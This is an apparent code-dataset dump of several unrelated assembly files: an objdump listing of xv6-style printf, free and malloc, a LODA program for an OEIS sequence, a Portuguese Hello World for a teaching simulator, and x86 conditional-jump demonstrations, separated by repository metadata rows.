6e6: 0f b6 d2 movzbl %dl,%edx
if(state == 0){
6e9: 74 dd je 6c8 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
6eb: 83 ff 25 cmp $0x25,%edi
6ee: 75 e5 jne 6d5 <printf+0x35>
if(c == 'd'){
6f0: 83 fa 64 cmp $0x64,%edx
6f3: 0f 84 3f 01 00 00 je 838 <printf+0x198>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
6f9: 83 fa 70 cmp $0x70,%edx
6fc: 0f 84 a6 00 00 00 je 7a8 <printf+0x108>
702: 83 fa 78 cmp $0x78,%edx
705: 0f 84 9d 00 00 00 je 7a8 <printf+0x108>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
70b: 83 fa 73 cmp $0x73,%edx
70e: 66 90 xchg %ax,%ax
710: 0f 84 ba 00 00 00 je 7d0 <printf+0x130>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
716: 83 fa 63 cmp $0x63,%edx
719: 0f 84 41 01 00 00 je 860 <printf+0x1c0>
putc(fd, *ap);
ap++;
} else if(c == '%'){
71f: 83 fa 25 cmp $0x25,%edx
722: 0f 84 00 01 00 00 je 828 <printf+0x188>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
728: 8b 4d 08 mov 0x8(%ebp),%ecx
72b: 89 55 cc mov %edx,-0x34(%ebp)
72e: c6 45 e7 25 movb $0x25,-0x19(%ebp)
732: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
739: 00
73a: 89 74 24 04 mov %esi,0x4(%esp)
73e: 89 0c 24 mov %ecx,(%esp)
741: e8 42 fe ff ff call 588 <write>
746: 8b 55 cc mov -0x34(%ebp),%edx
749: 88 55 e7 mov %dl,-0x19(%ebp)
74c: 8b 45 08 mov 0x8(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
74f: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
752: 31 ff xor %edi,%edi
754: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
75b: 00
75c: 89 74 24 04 mov %esi,0x4(%esp)
760: 89 04 24 mov %eax,(%esp)
763: e8 20 fe ff ff call 588 <write>
768: 8b 45 0c mov 0xc(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
76b: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
76f: 84 d2 test %dl,%dl
771: 0f 85 6d ff ff ff jne 6e4 <printf+0x44>
777: 90 nop
putc(fd, c);
}
state = 0;
}
}
}
778: 83 c4 3c add $0x3c,%esp
77b: 5b pop %ebx
77c: 5e pop %esi
77d: 5f pop %edi
77e: 5d pop %ebp
77f: c3 ret
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
780: 8b 45 08 mov 0x8(%ebp),%eax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
783: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
786: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
78d: 00
78e: 89 74 24 04 mov %esi,0x4(%esp)
792: 89 04 24 mov %eax,(%esp)
795: e8 ee fd ff ff call 588 <write>
79a: 8b 45 0c mov 0xc(%ebp),%eax
79d: e9 33 ff ff ff jmp 6d5 <printf+0x35>
7a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7a8: 8b 45 d4 mov -0x2c(%ebp),%eax
7ab: b9 10 00 00 00 mov $0x10,%ecx
ap++;
7b0: 31 ff xor %edi,%edi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
7b2: c7 04 24 00 00 00 00 movl $0x0,(%esp)
7b9: 8b 10 mov (%eax),%edx
7bb: 8b 45 08 mov 0x8(%ebp),%eax
7be: e8 4d fe ff ff call 610 <printint>
7c3: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
7c6: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
7ca: e9 06 ff ff ff jmp 6d5 <printf+0x35>
7cf: 90 nop
} else if(c == 's'){
s = (char*)*ap;
7d0: 8b 55 d4 mov -0x2c(%ebp),%edx
ap++;
if(s == 0)
7d3: b9 3e 0a 00 00 mov $0xa3e,%ecx
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
7d8: 8b 3a mov (%edx),%edi
ap++;
7da: 83 c2 04 add $0x4,%edx
7dd: 89 55 d4 mov %edx,-0x2c(%ebp)
if(s == 0)
7e0: 85 ff test %edi,%edi
7e2: 0f 44 f9 cmove %ecx,%edi
s = "(null)";
while(*s != 0){
7e5: 0f b6 17 movzbl (%edi),%edx
7e8: 84 d2 test %dl,%dl
7ea: 74 33 je 81f <printf+0x17f>
7ec: 89 5d d0 mov %ebx,-0x30(%ebp)
7ef: 8b 5d 08 mov 0x8(%ebp),%ebx
7f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *s);
s++;
7f8: 83 c7 01 add $0x1,%edi
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7fb: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7fe: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
805: 00
806: 89 74 24 04 mov %esi,0x4(%esp)
80a: 89 1c 24 mov %ebx,(%esp)
80d: e8 76 fd ff ff call 588 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
812: 0f b6 17 movzbl (%edi),%edx
815: 84 d2 test %dl,%dl
817: 75 df jne 7f8 <printf+0x158>
819: 8b 5d d0 mov -0x30(%ebp),%ebx
81c: 8b 45 0c mov 0xc(%ebp),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
81f: 31 ff xor %edi,%edi
821: e9 af fe ff ff jmp 6d5 <printf+0x35>
826: 66 90 xchg %ax,%ax
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
} else if(c == '%'){
828: c6 45 e7 25 movb $0x25,-0x19(%ebp)
82c: e9 1b ff ff ff jmp 74c <printf+0xac>
831: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
838: 8b 45 d4 mov -0x2c(%ebp),%eax
83b: b9 0a 00 00 00 mov $0xa,%ecx
ap++;
840: 66 31 ff xor %di,%di
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
843: c7 04 24 01 00 00 00 movl $0x1,(%esp)
84a: 8b 10 mov (%eax),%edx
84c: 8b 45 08 mov 0x8(%ebp),%eax
84f: e8 bc fd ff ff call 610 <printint>
854: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
857: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
85b: e9 75 fe ff ff jmp 6d5 <printf+0x35>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
860: 8b 55 d4 mov -0x2c(%ebp),%edx
putc(fd, *ap);
ap++;
863: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
865: 8b 4d 08 mov 0x8(%ebp),%ecx
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
868: 8b 02 mov (%edx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
86a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
871: 00
872: 89 74 24 04 mov %esi,0x4(%esp)
876: 89 0c 24 mov %ecx,(%esp)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
879: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
87c: e8 07 fd ff ff call 588 <write>
881: 8b 45 0c mov 0xc(%ebp),%eax
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
884: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
888: e9 48 fe ff ff jmp 6d5 <printf+0x35>
88d: 90 nop
88e: 90 nop
88f: 90 nop
00000890 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
890: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
891: a1 68 0a 00 00 mov 0xa68,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
896: 89 e5 mov %esp,%ebp
898: 57 push %edi
899: 56 push %esi
89a: 53 push %ebx
89b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
89e: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8a1: 39 c8 cmp %ecx,%eax
8a3: 73 1d jae 8c2 <free+0x32>
8a5: 8d 76 00 lea 0x0(%esi),%esi
8a8: 8b 10 mov (%eax),%edx
8aa: 39 d1 cmp %edx,%ecx
8ac: 72 1a jb 8c8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8ae: 39 d0 cmp %edx,%eax
8b0: 72 08 jb 8ba <free+0x2a>
8b2: 39 c8 cmp %ecx,%eax
8b4: 72 12 jb 8c8 <free+0x38>
8b6: 39 d1 cmp %edx,%ecx
8b8: 72 0e jb 8c8 <free+0x38>
8ba: 89 d0 mov %edx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8bc: 39 c8 cmp %ecx,%eax
8be: 66 90 xchg %ax,%ax
8c0: 72 e6 jb 8a8 <free+0x18>
8c2: 8b 10 mov (%eax),%edx
8c4: eb e8 jmp 8ae <free+0x1e>
8c6: 66 90 xchg %ax,%ax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
8c8: 8b 71 04 mov 0x4(%ecx),%esi
8cb: 8d 3c f1 lea (%ecx,%esi,8),%edi
8ce: 39 d7 cmp %edx,%edi
8d0: 74 19 je 8eb <free+0x5b>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
8d2: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
8d5: 8b 50 04 mov 0x4(%eax),%edx
8d8: 8d 34 d0 lea (%eax,%edx,8),%esi
8db: 39 ce cmp %ecx,%esi
8dd: 74 23 je 902 <free+0x72>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8df: 89 08 mov %ecx,(%eax)
freep = p;
8e1: a3 68 0a 00 00 mov %eax,0xa68
}
8e6: 5b pop %ebx
8e7: 5e pop %esi
8e8: 5f pop %edi
8e9: 5d pop %ebp
8ea: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
8eb: 03 72 04 add 0x4(%edx),%esi
8ee: 89 71 04 mov %esi,0x4(%ecx)
bp->s.ptr = p->s.ptr->s.ptr;
8f1: 8b 10 mov (%eax),%edx
8f3: 8b 12 mov (%edx),%edx
8f5: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
8f8: 8b 50 04 mov 0x4(%eax),%edx
8fb: 8d 34 d0 lea (%eax,%edx,8),%esi
8fe: 39 ce cmp %ecx,%esi
900: 75 dd jne 8df <free+0x4f>
p->s.size += bp->s.size;
902: 03 51 04 add 0x4(%ecx),%edx
905: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
908: 8b 53 f8 mov -0x8(%ebx),%edx
90b: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
90d: a3 68 0a 00 00 mov %eax,0xa68
}
912: 5b pop %ebx
913: 5e pop %esi
914: 5f pop %edi
915: 5d pop %ebp
916: c3 ret
917: 89 f6 mov %esi,%esi
919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000920 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
920: 55 push %ebp
921: 89 e5 mov %esp,%ebp
923: 57 push %edi
924: 56 push %esi
925: 53 push %ebx
926: 83 ec 2c sub $0x2c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
929: 8b 5d 08 mov 0x8(%ebp),%ebx
if((prevp = freep) == 0){
92c: 8b 0d 68 0a 00 00 mov 0xa68,%ecx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
932: 83 c3 07 add $0x7,%ebx
935: c1 eb 03 shr $0x3,%ebx
938: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
93b: 85 c9 test %ecx,%ecx
93d: 0f 84 9b 00 00 00 je 9de <malloc+0xbe>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
943: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
945: 8b 50 04 mov 0x4(%eax),%edx
948: 39 d3 cmp %edx,%ebx
94a: 76 27 jbe 973 <malloc+0x53>
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
94c: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
953: be 00 80 00 00 mov $0x8000,%esi
958: 89 7d e4 mov %edi,-0x1c(%ebp)
95b: 90 nop
95c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
960: 3b 05 68 0a 00 00 cmp 0xa68,%eax
966: 74 30 je 998 <malloc+0x78>
968: 89 c1 mov %eax,%ecx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
96a: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
96c: 8b 50 04 mov 0x4(%eax),%edx
96f: 39 d3 cmp %edx,%ebx
971: 77 ed ja 960 <malloc+0x40>
if(p->s.size == nunits)
973: 39 d3 cmp %edx,%ebx
975: 74 61 je 9d8 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
977: 29 da sub %ebx,%edx
979: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
97c: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
97f: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
982: 89 0d 68 0a 00 00 mov %ecx,0xa68
return (void*)(p + 1);
988: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
98b: 83 c4 2c add $0x2c,%esp
98e: 5b pop %ebx
98f: 5e pop %esi
990: 5f pop %edi
991: 5d pop %ebp
992: c3 ret
993: 90 nop
994: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < 4096)
998: 8b 45 e4 mov -0x1c(%ebp),%eax
99b: 81 fb 00 10 00 00 cmp $0x1000,%ebx
9a1: bf 00 10 00 00 mov $0x1000,%edi
9a6: 0f 43 fb cmovae %ebx,%edi
9a9: 0f 42 c6 cmovb %esi,%eax
nu = 4096;
p = sbrk(nu * sizeof(Header));
9ac: 89 04 24 mov %eax,(%esp)
9af: e8 3c fc ff ff call 5f0 <sbrk>
if(p == (char*)-1)
9b4: 83 f8 ff cmp $0xffffffff,%eax
9b7: 74 18 je 9d1 <malloc+0xb1>
return 0;
hp = (Header*)p;
hp->s.size = nu;
9b9: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
9bc: 83 c0 08 add $0x8,%eax
9bf: 89 04 24 mov %eax,(%esp)
9c2: e8 c9 fe ff ff call 890 <free>
return freep;
9c7: 8b 0d 68 0a 00 00 mov 0xa68,%ecx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
9cd: 85 c9 test %ecx,%ecx
9cf: 75 99 jne 96a <malloc+0x4a>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
9d1: 31 c0 xor %eax,%eax
9d3: eb b6 jmp 98b <malloc+0x6b>
9d5: 8d 76 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
9d8: 8b 10 mov (%eax),%edx
9da: 89 11 mov %edx,(%ecx)
9dc: eb a4 jmp 982 <malloc+0x62>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9de: c7 05 68 0a 00 00 60 movl $0xa60,0xa68
9e5: 0a 00 00
base.s.size = 0;
9e8: b9 60 0a 00 00 mov $0xa60,%ecx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9ed: c7 05 60 0a 00 00 60 movl $0xa60,0xa60
9f4: 0a 00 00
base.s.size = 0;
9f7: c7 05 64 0a 00 00 00 movl $0x0,0xa64
9fe: 00 00 00
a01: e9 3d ff ff ff jmp 943 <malloc+0x23>
| 30.046269 | 60 | 0.420529 |
dd2d2ce9b25648e0a7b0039b4fa9bd930a750bf4 | 479 | asm | Assembly | oeis/101/A101663.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/101/A101663.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/101/A101663.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A101663: Fixed point of morphism 0 -> 01, 1 -> 02, 2 -> 22.
; Submitted by Jon Maiga
; 0,1,0,2,0,1,2,2,0,1,0,2,2,2,2,2,0,1,0,2,0,1,2,2,2,2,2,2,2,2,2,2,0,1,0,2,0,1,2,2,0,1,0,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,1,0,2,0,1,2,2,0,1,0,2,2,2,2,2,0,1,0,2,0,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2
mov $2,-2
mul $2,$0
bin $2,$0
mod $0,2
div $2,2
mov $3,$2
cmp $3,0
add $2,$3
pow $2,2
mod $2,2
sub $2,292639
mul $2,2
sub $0,$2
mul $0,4
sub $0,3511656
div $0,6
sub $0,8
mod $0,13
add $0,9
| 19.958333 | 201 | 0.546973 |
7defa70e99ce0ac4721edbb972f9239fed5fb1b6 | 2,039 | asm | Assembly | Versao_05_2013/Exemplos/Hello2.asm | joaolucasp/Evil-Square | 41992308ad632df8e36b28edcef1bea916ea5339 | [
"MIT"
] | 1 | 2021-08-04T18:03:46.000Z | 2021-08-04T18:03:46.000Z | Simulador/Versao_05_2013/Exemplos/Hello2.asm | GKuabara/tomb-of-the-mask | edef54e11c127560da802176840ad110a7f5999f | [
"MIT"
] | null | null | null | Simulador/Versao_05_2013/Exemplos/Hello2.asm | GKuabara/tomb-of-the-mask | edef54e11c127560da802176840ad110a7f5999f | [
"MIT"
] | null | null | null | ; Hello World - Escreve mensagem armazenada na memoria na tela
; ------- TABELA DE CORES -------
; adicione ao caracter para Selecionar a cor correspondente
; 0 branco 0000 0000
; 256 marrom 0001 0000
; 512 verde 0010 0000
; 768 oliva 0011 0000
; 1024 azul marinho 0100 0000
; 1280 roxo 0101 0000
; 1537 teal 0110 0000
; 1793 prata 0111 0000
; 2048 cinza 1000 0000
; 2304 vermelho 1001 0000
; 2561 lima 1010 0000
; 2816 amarelo 1011 0000
; 3072 azul 1100 0000
; 3328 rosa 1101 0000
; 3584 aqua 1110 0000
; 3839 branco 1111 0000
jmp main
mensagem : string "Ola Mundo!" ; Poe "\0" automaticamente no final da string
; ------ Programa Principal -----------
main:
loadn r0, #0 ; Posicao na tela onde a mensagem sera' escrita
loadn r1, #mensagem ; Carrega r1 com o endereco do vetor que contem a mensagem
call Imprime ; r0 = Posicao da tela que o primeiro caractere da mensagem sera' impresso; r1 = endereco onde comeca a mensagem; Obs: a mensagem sera' impressa ate' encontrar "/0"
halt
Imprime: ; Rotina de Impresao de Mensagens: r0 = Posicao da tela que o primeiro caractere da mensagem sera' impresso; r1 = endereco onde comeca a mensagem; Obs: a mensagem sera' impressa ate' encontrar "/0"
push r0 ; protege o r0 na pilha para preservar seu valor
push r1 ; protege o r1 na pilha para preservar seu valor
push r2 ; protege o r2 na pilha para ser usado na subrotina
push r3 ; protege o r3 na pilha para ser usado na subrotina
loadn r3, #'\0' ; Criterio de parada
LoopImprime:
loadi r2, r1 ; r2 <- Conteudo da MEMORIA enderecada por r1
cmp r2, r3 ; Checa se chegou no final da mensagem = "\0"
jeq SaiImprime ; Se chegou no fin da mensagem
outchar r2, r0 ; Imprima caracter
inc r0 ; incrementa posicao na tela
inc r1 ; incrementa ponteiro da mensagem
jmp LoopImprime ; Goto Loop
SaiImprime:
pop r3 ; Resgata os valores dos registradores utilizados na Subrotina da Pilha
pop r2
pop r1
pop r0
rts | 31.859375 | 213 | 0.690535 |
c07e327d94364f459e0f6b39fde22549a5c0f9bf | 746 | asm | Assembly | oeis/028/A028157.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/028/A028157.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/028/A028157.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A028157: Expansion of 1/((1-4x)(1-8x)(1-9x)(1-12x)).
; Submitted by Christian Krause
; 1,33,697,12033,185353,2657361,36306649,479622561,6184444585,78342273009,979414153081,12123907404609,148962749140297,1819935176767377,22139457629549593,268445978800100577,3246867076469210089,39196546477890050865,472501860505315865785,5689600281100781492865,68453710810451999911561,823069543400283259953873,9891607217812129958951257,118833421478374485730083873,1427217716254838429078742313,17137638079549762566221106801,205751490777927767265099055609,2469921229448369199533389976001
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,19722 ; Expansion of 1/((1-4x)(1-9x)(1-12x)).
sub $0,$1
mul $1,9
add $1,$0
lpe
mov $0,$1
| 41.444444 | 482 | 0.802949 |
83fffe8527ee08f4076e43a28b64a30176fc07c8 | 414 | asm | Assembly | oeis/174/A174565.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/174/A174565.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/174/A174565.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A174565: Expansion of (1+3*x)/((1-x)*(1+3*x+4*x^2)).
; Submitted by Jamie Morken(s2)
; 1,1,-3,9,-11,1,45,-135,229,-143,-483,2025,-4139,4321,3597,-28071,69829,-97199,12285,351945,-1104971,1907137,-1301523,-3723975,16378021,-34238159,37202397,25345449,-224845931,573156001,-820084275,167628825,2777450629,-9002867183
mul $0,2
mov $1,1
lpb $0
sub $0,1
sub $1,$2
add $2,$1
add $1,1
mul $2,2
lpe
mov $0,$1
| 27.6 | 229 | 0.673913 |
ad4576b37b7c2815a0abeb1551888e9b1310f6f1 | 499 | asm | Assembly | programs/oeis/136/A136219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/136/A136219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/136/A136219.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A136219: Number of terms in rows of irregular triangle A136218.
; 1,3,7,13,22,33,47,64,84,106,131,159,190,224,261,301,343,388,436,487,541,598,658,721,787,856,928,1003,1081,1162,1245,1331,1420,1512,1607,1705,1806,1910,2017,2127,2240,2356,2475,2597,2722,2850,2981,3115,3252
lpb $0
sub $0,1
seq $1,186354 ; Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f(i)=3i and g(j)=j(j+1)/2 (triangular number). Complement of A186355.
lpe
add $1,1
mov $0,$1
| 49.9 | 207 | 0.701403 |
4f223c906e7551e11de24fd32ce129ab6b500cbc | 2,697 | asm | Assembly | asm/x86/jumps.asm | sweetporkbones/scratchpad | e5865c5cdec78f7a66d032c77919848773c991fb | [
"BSD-2-Clause"
] | 9 | 2016-03-26T13:00:34.000Z | 2021-12-09T05:29:06.000Z | asm/x86/jumps.asm | sweetporkbones/scratchpad | e5865c5cdec78f7a66d032c77919848773c991fb | [
"BSD-2-Clause"
] | null | null | null | asm/x86/jumps.asm | sweetporkbones/scratchpad | e5865c5cdec78f7a66d032c77919848773c991fb | [
"BSD-2-Clause"
] | 4 | 2017-04-06T22:03:42.000Z | 2020-07-06T20:44:10.000Z | ; modified from http://en.wikibooks.org/wiki/X86_Assembly/Control_Flow
; under Creative-Commons Attribution / Share-Alike
;
; nasm -felf32 -g jumps.asm
; gcc -m32 -o jumps jumps.o
;
global main
extern printf
section .data
sfneofStr: db 'SF <> OF', 0xA, 0
sfeqofStr: db 'SF == OF', 0xA, 0
takenStr: db 'jump taken', 0xA, 0
nottakenStr: db 'jump NOT taken', 0xA, 0
equalityTestStr: db 'testing equality: ', 0
lesserTestStr: db 'testing eax lesser than: ', 0
greaterTestStr: db 'testing eax greater than: ', 0
section .bss
section .text
main:
;
; Functions will follow the cdecl call convention
;
;
; arg2 < arg1 and no overflow
;
mov eax, 1
cmp eax, 2
call checkSFNEOF
;
; arg2 < arg1 and overflow
;
mov al, -2
cmp al, 127
call checkSFNEOF
;
; arg2 > arg1 and no overflow
;
mov eax, 2
cmp eax, 1
call checkSFNEOF
;
; arg2 > arg1 and overflow
;
mov al, 127
cmp al, -1
call checkSFNEOF
;
; arg2 == arg1
;
mov eax, 2
cmp eax, 2
call checkSFNEOF
push dword equalityTestStr
call printf
mov eax, 2
cmp eax, 2
call TEST
push dword lesserTestStr
call printf
mov eax, 1
cmp eax, 2
call TEST
push dword greaterTestStr
call printf
mov eax, 3
cmp eax, 2
call TEST
call exit
;
; Check if SF <> OF, which means the condition for jump less would be meet.
;
checkSFNEOF:
push ebp
mov ebp, esp
jl SFNEOF
jmp SFEQOF
SFNEOF:
push dword sfneofStr
call printf
jmp checkSFNEOFDone
SFEQOF:
push dword sfeqofStr
call printf
checkSFNEOFDone:
leave
ret
TEST:
push ebp
mov ebp, esp
jl TAKEN
push dword nottakenStr
call printf
leave
ret
TAKEN:
push dword takenStr
call printf
leave
ret
exit:
;
; Call exit(3) syscall
; void exit(int status)
;
mov ebx, 0 ; Arg one: the status
mov eax, 1 ; Syscall number:
int 0x80
| 20.431818 | 76 | 0.458658 |
048827cc9980c8eb8c69bec83837300975687a47 | 9,304 | asm | Assembly | yo29_4k/yo29.asm | w23/jetlag_appear | 4e70e57651f56b7252cae6dafc90989cab4830de | [
"MIT"
